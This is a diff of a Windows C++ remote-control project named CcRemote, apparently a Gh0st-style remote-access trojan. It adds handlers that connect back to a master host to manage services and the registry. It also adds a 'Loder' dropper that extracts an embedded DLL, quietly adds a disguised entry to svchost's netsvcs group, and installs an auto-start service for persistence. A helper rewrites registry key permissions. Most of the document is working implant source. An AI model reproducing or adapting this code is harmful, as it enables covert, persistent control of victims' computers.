SendServicesList();
|
||||
}
|
||||
break;
|
||||
case COMMAND_SERVICES_MANUAL: // DEMAND_START
|
||||
{
|
||||
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager3)
|
||||
{
|
||||
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService3)
|
||||
{
|
||||
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
|
||||
BOOL stat3 = ChangeServiceConfig(
|
||||
hService3,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock3);
|
||||
CloseServiceHandle(hService3);
|
||||
}
|
||||
CloseServiceHandle(hSCManager3);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
defaute:
|
||||
break;
|
||||
}
|
||||
}
|
27
CcMainDll/CcMainDll/common/ServerManager.h
Normal file
@@ -0,0 +1,27 @@
|
||||
// ServerManager.h: interface for the CServerManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
||||
#define AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CServerManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServerManager(CClientSocket *pClient);
|
||||
virtual ~CServerManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
protected:
|
||||
void SendServicesList();
|
||||
LPBYTE getServerList();
|
||||
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
@@ -8,6 +8,8 @@
|
||||
#include "AudioManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ServerManager.h"
|
||||
#include "RegManager.h"
|
||||
#include "..\StrCry.h"
|
||||
#include "until.h"
|
||||
#include "install.h"
|
||||
@@ -321,4 +323,35 @@ void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
|
||||
{
|
||||
//OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CServerManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CRegManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#endif // !defined(AFX_LOOP_H_INCLUDED)
|
||||
|
16
CcMainDll/Loder/Debug/Loder.Build.CppClean.log
Normal file
@@ -0,0 +1,16 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.ilk
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\debug\loder.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
3
CcMainDll/Loder/Debug/Loder.log
Normal file
@@ -0,0 +1,3 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
LINK : 缺少程序数据库 G:\CcRemote\CcRemote\bin\server\Loder.pdb;正在执行完全链接
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
BIN
CcMainDll/Loder/Debug/Loder.res
Normal file
2
CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate
Normal file
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
211
CcMainDll/Loder/Loder.cpp
Normal file
@@ -0,0 +1,211 @@
|
||||
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include "resource.h"
|
||||
#include "RegEditEx.h"
|
||||
|
||||
|
||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
//要释放的路径 资源ID 资源名
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
|
||||
{
|
||||
HRSRC hResInfo;
|
||||
HGLOBAL hResData;
|
||||
DWORD dwSize;
|
||||
LPBYTE p;
|
||||
// 查找所需的资源
|
||||
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
|
||||
if (hResInfo == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 获得资源尺寸
|
||||
dwSize = SizeofResource(NULL, hResInfo);
|
||||
// 装载资源
|
||||
hResData = LoadResource(NULL, hResInfo);
|
||||
if (hResData == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 为数据分配空间
|
||||
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
|
||||
if (p == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 复制资源数据
|
||||
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
|
||||
|
||||
bool bRet = CreateMyFile(strFilePath, p, dwSize);
|
||||
if (!bRet)
|
||||
{
|
||||
GlobalFree((HGLOBAL)p);
|
||||
return false;
|
||||
}
|
||||
|
||||
GlobalFree((HGLOBAL)p);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
char *AddsvchostService()
|
||||
{
|
||||
char *lpServiceName = NULL;
|
||||
int rc = 0;
|
||||
HKEY hkRoot;
|
||||
char buff[2048];
|
||||
//打开装所有svchost服务名的注册表键
|
||||
//query svchost setting
|
||||
char *ptr;
|
||||
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
|
||||
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
return NULL;
|
||||
|
||||
DWORD type, size = sizeof buff;
|
||||
//枚举他所有的服务名
|
||||
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
|
||||
SetLastError(rc);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
int i = 0;
|
||||
bool bExist = false;
|
||||
char servicename[50];
|
||||
do
|
||||
{
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1。。。。。。。
|
||||
wsprintf(servicename, "netsvcs_0x%d", i);
|
||||
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
|
||||
{
|
||||
//然后比对一下服务名中是否有这个名字了
|
||||
if (lstrcmpi(ptr, servicename) == 0)
|
||||
{
|
||||
bExist = true;
|
||||
break; //如果没有就跳出
|
||||
}
|
||||
}
|
||||
if (bExist == false)
|
||||
break;
|
||||
bExist = false;
|
||||
i++;
|
||||
} while (1);
|
||||
|
||||
servicename[lstrlen(servicename) + 1] = '\0';
|
||||
//然后将这个服务名写到所有服务名的后面,
|
||||
//不要妄想,直接用api在一个注册表的键值后面添加一些信息
|
||||
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
|
||||
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
|
||||
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
|
||||
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
SetLastError(rc);
|
||||
|
||||
if (bExist == false)
|
||||
{
|
||||
lpServiceName = new char[lstrlen(servicename) + 1];
|
||||
lstrcpy(lpServiceName, servicename);
|
||||
}
|
||||
//回到 InstallService
|
||||
return lpServiceName;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
char lpServiceDescription[]= "CcRemote服务";
|
||||
char strModulePath[MAX_PATH];
|
||||
char strSysDir[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
DWORD dwStartType = 0;
|
||||
char strRegKey[1024];
|
||||
int rc = 0;
|
||||
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
|
||||
SC_HANDLE hscm = NULL, schService = NULL;
|
||||
|
||||
|
||||
//打开服务
|
||||
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
GetSystemDirectory(strSysDir, sizeof(strSysDir));
|
||||
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
|
||||
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
|
||||
char lpServiceDisplayName[128];
|
||||
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
|
||||
//这里返回新的服务名后就构造服务dll的名字
|
||||
memset(strModulePath, 0, sizeof(strModulePath));
|
||||
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
|
||||
|
||||
//然后构造服务中的描述信息的位置
|
||||
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
schService = CreateService(
|
||||
hscm, // SCManager database
|
||||
lpServiceName, // name of service
|
||||
lpServiceDisplayName, // service name to display
|
||||
SERVICE_ALL_ACCESS, // desired access
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, // start type
|
||||
SERVICE_ERROR_NORMAL, // error control type
|
||||
bin, // service's binary
|
||||
NULL, // no load ordering group
|
||||
NULL, // no tag identifier
|
||||
NULL, // no dependencies
|
||||
NULL, // LocalSystem account
|
||||
NULL); // no password
|
||||
dwStartType = SERVICE_WIN32_OWN_PROCESS;
|
||||
|
||||
if (schService == NULL)
|
||||
throw "CreateService(Parameters)";
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
hkRoot = HKEY_LOCAL_MACHINE;
|
||||
//这里构造服务的描述键
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
|
||||
{
|
||||
DWORD dwServiceType = 0x120;
|
||||
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
|
||||
}
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
|
||||
|
||||
lstrcat(strSubKey, "\\Parameters");
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "CcMainDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
|
||||
|
||||
RegCloseKey(hkRoot);
|
||||
RegCloseKey(hkParam);
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
BIN
CcMainDll/Loder/Loder.rc
Normal file
178
CcMainDll/Loder/Loder.vcxproj
Normal file
@@ -0,0 +1,178 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>Loder</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="RegEditEx.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
38
CcMainDll/Loder/Loder.vcxproj.filters
Normal file
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
</Project>
|
4
CcMainDll/Loder/Loder.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
243
CcMainDll/Loder/RegEditEx.h
Normal file
@@ -0,0 +1,243 @@
|
||||
#include <windows.h>
|
||||
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
